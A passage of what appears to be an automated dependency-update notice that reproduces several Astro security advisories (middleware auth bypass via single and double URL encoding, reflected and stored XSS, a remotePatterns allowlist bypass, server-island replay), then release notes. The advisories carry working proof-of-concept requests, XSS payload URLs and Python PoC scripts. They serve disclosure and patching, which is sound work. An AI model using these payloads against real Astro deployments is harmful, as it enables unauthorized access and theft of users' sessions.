packages/astro/src/vite-plugin-astro-server/base.ts pathname = decodeURI(url.pathname); // here this url is for routing/rendering } // Add config.base back to url before passing it to SSR url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware context ``` Consider an application having the following middleware code: ```js import { defineMiddleware } from "astro/middleware"; export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // simulate no auth if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); }); ``` `context.url.pathname` is validated , if it's equal to `/admin` the `isAuthed` property must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/ `context.url.pathname` returns the raw version which is `/%61admin` while pathname which is used for routing/rendering `/admin`, this creates a path normalization mismatch. By sending the following request, it's possible to bypass the middleware check ``` GET /%61dmin HTTP/1.1 Host: localhost:3000 ``` <img width="1920" height="1025" alt="image" src="https://github.com/user-attachments/assets/7e0eeecd-607a-4c73-b12e-5977a30c9bc4" /> **Remediation** Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this ```diff pathname = decodeURI(url.pathname); } // Add config.base back to url before passing it to SSR - url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; + url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname); ``` Thank you, let @&#8203;Sudistark know if any more info is needed. Happy to help :) #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794](https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64765](https://nvd.nist.gov/vuln/detail/CVE-2025-64765) - [https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce](https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-ggxq-hp9w-j794) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765 [CVE-2025-66202](https://nvd.nist.gov/vuln/detail/CVE-2025-66202) / [GHSA-whqg-ppgf-wp8c](https://github.com/advisories/GHSA-whqg-ppgf-wp8c) <details> <summary>More information</summary> #### Details ##### Authentication Bypass via Double URL Encoding in Astro ##### Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794 --- ##### Summary A **double URL encoding bypass** allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like `/%2561dmin` instead of `/%61dmin`, attackers can still bypass authentication and access protected resources such as `/admin`, `/api/internal`, or any route protected by middleware pathname checks. ##### Fix A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like : ``` if (containsEncodedCharacters(pathname)) { // Multi-level encoding detected - reject request return new Response( 'Bad Request: Multi-level URL encoding is not allowed', { status: 400, headers: { 'Content-Type': 'text/plain' } } ); } ``` #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794](https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794) - [https://github.com/withastro/astro/security/advisories/GHSA-whqg-ppgf-wp8c](https://github.com/withastro/astro/security/advisories/GHSA-whqg-ppgf-wp8c) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64765](https://nvd.nist.gov/vuln/detail/CVE-2025-64765) - [https://nvd.nist.gov/vuln/detail/CVE-2025-66202](https://nvd.nist.gov/vuln/detail/CVE-2025-66202) - [https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce](https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-whqg-ppgf-wp8c) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro vulnerable to reflected XSS via the server islands feature [CVE-2025-64764](https://nvd.nist.gov/vuln/detail/CVE-2025-64764) / [GHSA-wrwg-2hg8-v723](https://github.com/advisories/GHSA-wrwg-2hg8-v723) <details> <summary>More information</summary> #### Details ##### Summary After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, **regardless of what was intended by the component template(s)**. ##### Details Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page: `/_server-islands/[name]`. These paths can be called via GET or POST and use three parameters: - `e`: component to export - `p`: the transmitted properties, encrypted - `s`: for the slots Slots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature. This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once. **How ?** By default, when a call is made to the endpoint `/_server-islands/[name]`, the value of the parameter `e` is `default`, pointing to a function exported by the component's module. Upon further investigation, we find that two other values ​​are possible for the component export (param `e`) in a typical configuration: `url` and `file`. `file` returns a string value corresponding to the absolute path of the island file. Since the value is of type `string`, it fulfills the following condition and leads to [this code block](https://github.com/withastro/astro/blob/190106149908ef6826899459146ef9f0ead602ab/packages/astro/src/runtime/server/render/component.ts#L279): <img width="804" height="571" alt="image" src="https://github.com/user-attachments/assets/25ea6c16-fc27-477a-a1ad-e5edf0819b31" /> An entire template is created, completely independently, and then returned: - the absolute path name is sanitized and then injected as the tag name - `childSlots`, the value provided to the `s` parameter, is injected as a child All of this is done using `markHTMLString`. This allows the injection of any XSS payload, **even if the component template intended by the application is initially empty or does not provide for the use of slots.** ##### Proof of concept For our Proof of Concept (PoC), we will use a minimal repository: - Latest Astro version at the time (5.15.6) - Use of Island servers, with a completely empty component, to demonstrate what we explained previously [Download the PoC repository](https://github.com/zhero-web-sec/astro-app-2) Access the following URL and note the opening of the popup, demonstrating the reflected XSS: http://localhost:4321/_server-islands/ServerTime?e=file&p=&s={%22zhero%22:%22%3Cimg%20src=x%20onerror=alert(0)%3E%22} <img width="1781" height="529" alt="image" src="https://github.com/user-attachments/assets/92f8134a-d1c7-4d3f-818e-214842c239c8" /> The value of the parameter `s` must be in JSON format and the payload must be injected at the value level, not the key level : <img width="3273" height="1840" alt="for_respected_patron" src="https://github.com/user-attachments/assets/8ac0079a-3dee-49e8-b639-322f77c84b83" /> Despite the initial template being empty, it is created because the value of the URL parameter `e` is set to `file`, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (*the name doesn't matter*) of the URL parameter `s`. ##### Credits - Allam Rachid ([zhero;](https://zhero-web-sec.github.io/research-and-things/)) - Allam Yasser (inzo) #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-wrwg-2hg8-v723](https://github.com/withastro/astro/security/advisories/GHSA-wrwg-2hg8-v723) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64764](https://nvd.nist.gov/vuln/detail/CVE-2025-64764) - [https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91](https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-wrwg-2hg8-v723) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint [CVE-2025-65019](https://nvd.nist.gov/vuln/detail/CVE-2025-65019) / [GHSA-fvmw-cj7j-j39q](https://github.com/advisories/GHSA-fvmw-cj7j-j39q) <details> <summary>More information</summary> #### Details **Summary** A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the **@&#8203;astrojs/cloudflare** adapter with `output: 'server'`. The built-in image optimization endpoint (`/_image`) uses `isRemoteAllowed()` from Astro’s internal helpers, which **unconditionally allows `data:` URLs**. When the endpoint receives a valid `data:` URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a **302 redirect back to the original `data:` URL**, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (`image.domains` / `image.remotePatterns`) and typical Content Security Policy mitigations. **Affected Versions** - `@astrojs/cloudflare` ≤ 12.6.10 (and likely all previous versions) - Astro ≥ 4.x when used with `output: 'server'` and the Cloudflare adapter **Root Cause – Vulnerable Code** File: `node_modules/@&#8203;astrojs/internal-helpers/src/remote.ts` ```ts export function isRemoteAllowed(src: string, ...): boolean { if (!URL.canParse(src)) { return false; } const url = new URL(src); // Data URLs are always allowed if (url.protocol === 'data:') { return true; } // Non-http(s) protocols are never allowed if (!['http:', 'https:'].includes(url.protocol)) { return false; } // ... further http/https allow-list checks } ``` In the **Cloudflare adapter**, the `/_image` endpoint contains logic similar to: ```ts const href = ctx.url.searchParams.get('href'); if (!href) { // return error } if (isRemotePath(href)) { if (isRemoteAllowed(href, imageConfig) === false) { // return error } else { //redirect to return the image return Response.redirect(href, 302); } } ``` Because `data:` URLs are considered “allowed”, a request such as: `https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)` triggers a **302 redirect directly to the `data:` URL**, causing the browser to render and execute the malicious JavaScript inside the SVG. **Proof of Concept (PoC)** 1. Create a minimal Astro project with Cloudflare adapter (`output: 'server'`). 2. Deploy to Cloudflare Pages or Workers. 3. Request the image endpoint with the following payload: ``` https://yoursite.com/_image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg== ``` (Base64 decodes to: `<svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>`) 4. The endpoint returns a **302 redirect** to the `data:` URL → browser executes the `<script>` → `alert()` fires. **Impact** - Reflected/Strored XSS (depending on application usage) - Session hijacking (access to cookies, localStorage, etc.) - Account takeover when combined with CSRF - Data exfiltration to attacker-controlled servers - Bypasses `image.domains` / `image.remotePatterns` configuration entirely **Safe vs Vulnerable Behavior** Other Astro adapters (Node, Vercel, etc.) typically **proxy and rasterize** SVGs, stripping JavaScript. The **Cloudflare adapter** currently **redirects** to remote resources (including `data:` URLs), making it uniquely vulnerable. **References** - Vulnerable function: https://github.com/withastro/astro/blob/main/packages/internal-helpers/src/remote.ts - Similar `data:` URL bypass in WordPress: [CVE-2025-2575 ](https://feedly.com/cve/CVE-2025-2575) #### Severity - CVSS Score: 5.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-fvmw-cj7j-j39q](https://github.com/withastro/astro/security/advisories/GHSA-fvmw-cj7j-j39q) - [https://nvd.nist.gov/vuln/detail/CVE-2025-65019](https://nvd.nist.gov/vuln/detail/CVE-2025-65019) - [https://github.com/withastro/astro/commit/9e9c528191b6f5e06db9daf6ad26b8f68016e533](https://github.com/withastro/astro/commit/9e9c528191b6f5e06db9daf6ad26b8f68016e533) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fvmw-cj7j-j39q) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Remote allowlist bypass via unanchored matchPathname wildcard [CVE-2026-33769](https://nvd.nist.gov/vuln/detail/CVE-2026-33769) / [GHSA-g735-7g2w-hh3f](https://github.com/advisories/GHSA-g735-7g2w-hh3f) <details> <summary>More information</summary> #### Details ##### Summary This issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass. ##### Impact Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix. ##### Description Taint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()` User-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56 ```ts const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig); const isRemoteImage = isRemotePath(transform.src); if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); } ``` `isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21 ```ts export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); } ``` The vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99 ```ts } else if (pathname.endsWith('/*')) { const slicedPathname = pathname.slice(0, -1); // * length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; } ``` **Vulnerable code flow:** 1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL. 2. `matchPathname()` handles `pathname: "/img/*"` using `.replace()` on the URL path. 3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start. 4. The image endpoint fetches and returns the remote resource. ##### PoC The PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed. ##### Vulnerable config ```js import { defineConfig } from 'astro/config'; import node from '@&#8203;astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' }, ], }, }); ``` ##### Affected pages This PoC targets the `/_image` endpoint directly; no additional pages are required. ##### PoC Code ```python import http.client import json import urllib.parse HOST = "127.0.0.1" PORT = 4321 def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "body_snippet": body[:400], } allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="") ##### Both pass, second should fail results = { "allowed": fetch(f"/_image?href={allowed}&f=svg"), "bypass": fetch(f"/_image?href={bypass}&f=svg"), } print(json.dumps(results, indent=2)) ``` ##### Attacker server ```python from http.server import BaseHTTPRequestHandler, HTTPServer HOST = "127.0.0.1" PORT = 9999 PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """ class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.send_response(200) self.send_header("Content-Type", "image/svg+xml") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(PAYLOAD.encode("utf-8")) return self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"ok") def log_message(self, format, *args): return if __name__ == "__main__": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serve_forever() ``` ##### PoC Steps 1. Bootstrap default Astro project. 2. Add the vulnerable config and attacker server. 3. Build the project. 4. Start the attacker server. 5. Start the Astro server. 6. Run the PoC. 7. Observe the console output showing both the allowed and bypass requests returning the SVG payload. #### Severity - CVSS Score: 2.9 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f](https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f) - [https://nvd.nist.gov/vuln/detail/CVE-2026-33769](https://nvd.nist.gov/vuln/detail/CVE-2026-33769) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g735-7g2w-hh3f) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: XSS in define:vars via incomplete </script> tag sanitization [CVE-2026-41067](https://nvd.nist.gov/vuln/detail/CVE-2026-41067) / [GHSA-j687-52p2-xcff](https://github.com/advisories/GHSA-j687-52p2-xcff) <details> <summary>More information</summary> #### Details ##### Summary The `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/<\/script>/g` to sanitize values injected into inline `<script>` tags via the `define:vars` directive. HTML parsers close `<script>` elements case-insensitively and also accept whitespace or `/` before the closing `>`, allowing an attacker to bypass the sanitization with payloads like `</Script>`, `</script >`, or `</script/>` and inject arbitrary HTML/JavaScript. ##### Details The vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`: ```typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /<\/script>/g, // ← Case-sensitive, exact match only '\\x3C/script>', )};\n`; } return markHTMLString(output); } ``` This function is called from `renderElement` at `util.ts:172-174` when a `<script>` element has `define:vars`: ```typescript if (name === 'script') { delete props.hoist; children = defineScriptVars(defineVars) + '\n' + children; } ``` The regex `/<\/script>/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification §13.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody): 1. **Case variations**: `</Script>`, `</SCRIPT>`, `</sCrIpT>` — HTML tag names are case-insensitive but the regex has no `i` flag. 2. **Whitespace before `>`**: `</script >`, `</script\t>`, `</script\n>` — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace. 3. **Self-closing slash**: `</script/>` — the tokenizer enters "self-closing start tag" state on `/`. `JSON.stringify()` does not escape `<`, `>`, or `/` characters, so all these payloads pass through serialization unchanged. **Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `<script>` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `<script>` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed. ##### PoC **Step 1:** Create an SSR Astro page (`src/pages/index.astro`): ```astro --- const name = Astro.url.searchParams.get('name') || 'World'; --- <html> <body> <h1>Hello</h1> <script define:vars=> console.log(name); </script> </body> </html> ``` **Step 2:** Ensure SSR is enabled in `astro.config.mjs`: ```js export default defineConfig({ output: 'server' }); ``` **Step 3:** Start the dev server and visit: ``` http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)> ``` **Step 4:** View the HTML source. The output contains: ```html <script>const name = "</Script><img/src=x onerror=alert(document.cookie)>"; console.log(name); </script> ``` The browser's HTML parser matches `</Script>` case-insensitively, closing the script block. The `<img onerror=alert(document.cookie)>` is then parsed as HTML and the JavaScript in `onerror` executes. **Alternative bypass payloads:** ``` /?name=</script ><img/src=x onerror=alert(1)> /?name=</script/><img/src=x onerror=alert(1)> /?name=</SCRIPT><img/src=x onerror=alert(1)> ``` ##### Impact An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `<script>` tag. This is a documented and expected usage pattern in Astro. Exploitation enables: - **Session hijacking** via cookie theft (`document.cookie`) - **Credential theft** by injecting fake login forms or keyloggers - **Defacement** of the rendered page - **Redirection** to attacker-controlled domains The vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable. ##### Recommended Fix Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `<` characters in the JSON output: ```typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /</g, '\\u003c', )};\n`; } return markHTMLString(output); } ``` This is the standard approach used by frameworks like Next.js and Rails. Replacing every `<` with `\u003c` is safe inside JSON string contexts (JavaScript treats `\u003c` as `<` at runtime) and eliminates all possible `</script>` variants including case variations, whitespace, and self-closing forms. #### Severity - CVSS Score: 6.1 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff](https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff) - [https://nvd.nist.gov/vuln/detail/CVE-2026-41067](https://nvd.nist.gov/vuln/detail/CVE-2026-41067) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/releases/tag/astro@6.1.6](https://github.com/withastro/astro/releases/tag/astro@6.1.6) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-j687-52p2-xcff) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Server island encrypted parameters vulnerable to cross-component replay [CVE-2026-45028](https://nvd.nist.gov/vuln/detail/CVE-2026-45028) / [GHSA-xr5h-phrj-8vxv](https://github.com/advisories/GHSA-xr5h-phrj-8vxv) <details> <summary>More information</summary> #### Details ##### Impact Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (`p`) value as another component's slots (`s`) value, or vice versa. Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet **all** of the following conditions: - The application uses server islands - Two different server island components share the same key name for a prop and a slot - An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page) These conditions are very unlikely to occur in real-world production applications. ##### Patches This has been patched in **astro@6.1.10**. The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like `props:IslandName` or `slots:IslandName`, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots. ##### References - Fix PR: https://github.com/withastro/astro/pull/16457 - Example demonstrating the vulnerability: https://github.com/CyberSecurityAustria/ACSC2026-web-astronomical #### Severity - CVSS Score: 2.9 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-xr5h-phrj-8vxv](https://github.com/withastro/astro/security/advisories/GHSA-xr5h-phrj-8vxv) - [https://nvd.nist.gov/vuln/detail/CVE-2026-45028](https://nvd.nist.gov/vuln/detail/CVE-2026-45028) - [https://github.com/withastro/astro/pull/16457](https://github.com/withastro/astro/pull/16457) - [https://github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd](https://github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xr5h-phrj-8vxv) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Reflected XSS via unescaped slot name [CVE-2026-50146](https://nvd.nist.gov/vuln/detail/CVE-2026-50146) / [GHSA-8hv8-536x-4wqp](https://github.com/advisories/GHSA-8hv8-536x-4wqp) <details> <summary>More information</summary> #### Details ##### Summary When a component uses a `client:*` directive, Astro inserts named slot content into a `data-astro-template` attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point. ##### Vulnerable Code `packages/astro/src/runtime/server/render/component.ts:371:376` ```ts // component.ts:371 `<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>` ``` I found that key is interpolated directly into the attribute value without proper escaping. ##### Proof of Concept For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0. **`astro.config.mjs`** ```js import react from '@&#8203;astrojs/react'; import node from '@&#8203;astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), integrations: [react()], }); ``` **`src/pages/index.astro`** ```astro --- import Wrapper from '../components/Wrapper.jsx'; const slotName = Astro.url.searchParams.get('tab') ?? 'default'; --- <html><body> <Wrapper client:load> <div slot={slotName}>content</div> </Wrapper> </body></html> ``` **`src/components/Wrapper.jsx`** ```jsx export default function Wrapper() { return null; } ``` **Payload:** ``` abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!-- ``` Accessing this URL will trigger the popup. http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!-- <img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" /> This will render in html. ```html <template data-astro-template="abc"></template></astro-island> <img src=x onerror=confirm(document.domain)><!--">content</template> ``` ##### Fix I suggest leveraging the existing escape function on the slot name. ```ts // component.ts:371 `<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>` ``` --- #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp](https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8hv8-536x-4wqp) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>withastro/astro (astro)</summary> ### [`v6.4.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#646) [Compare Source](https://github.com/withastro/astro/compare/astro@6.4.5...astro@6.4.6) ##### Patch Changes - [#&#8203;16765](https://github.com/withastro/astro/pull/16765) [`b10e86e`](https://github.com/withastro/astro/commit/b10e86e6dbaf04678127c86366befc0b78a164f6) Thanks [@&#8203;fkatsuhiro](https://github.com/fkatsuhiro)! - Fixes an issue where renaming an image file while the dev server is running triggers a build error. Now Astro correctly hot-reloads the image without crashing. - [#&#8203;17026](https://github.com/withastro/astro/pull/17026) [`add3df1`](https://github.com/withastro/astro/commit/add3df10fdaff469ae0228f09d99290de170029a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens `addAttribute` to drop attribute names containing characters that are invalid per the HTML spec (`"`, `'`, `>`, `/`, `=`, whitespace) - [#&#8203;17033](https://github.com/withastro/astro/pull/17033) [`ffda27b`](https://github.com/withastro/astro/commit/ffda27b7c8697d4b7ed530e93385a420e1fc4acd) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Validates the request origin against `allowedDomains` before fetching prerendered error pages. When `allowedDomains` is configured and the Host header matches, the original origin is used. Otherwise, the fetch falls back to `localhost`. ### [`v6.4.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#645) [Compare Source](https://github.com/withastro/astro/compare/astro@6.4.4...astro@6.4.5) ##### Patch Changes - [#&#8203;16985](https://github.com/withastro/astro/pull/16985) [`4ecff32`](https://github.com/withastro/astro/commit/4ecff3268acb6ee3db719c4b38bbaead703ff4de) Thanks [@&#8203;maximslo](https://github.com/maximslo)! - Fixes the `experimental.logger` destination not being used for the "Server listening on..." startup message. The logger is now resolved before the server starts listening, and `adapterLogger` re-creates itself when the underlying logger changes so the startup message uses the correct destination. - [#&#8203;16947](https://github.com/withastro/astro/pull/16947) [`e0703a6`](https://github.com/withastro/astro/commit/e0703a6e815be829759ab7912f7024ee8424c3ac) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes `Astro.request.url` not reflecting validated `X-Forwarded-Proto`/`X-Forwarded-Host` headers when `security.allowedDomains` is configured. Previously, only `Astro.url` was updated with the forwarded origin while `Astro.request.url` retained the 